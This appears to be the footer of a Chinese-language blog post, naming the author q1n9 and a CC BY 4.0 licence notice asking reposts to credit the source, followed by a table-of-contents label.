


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录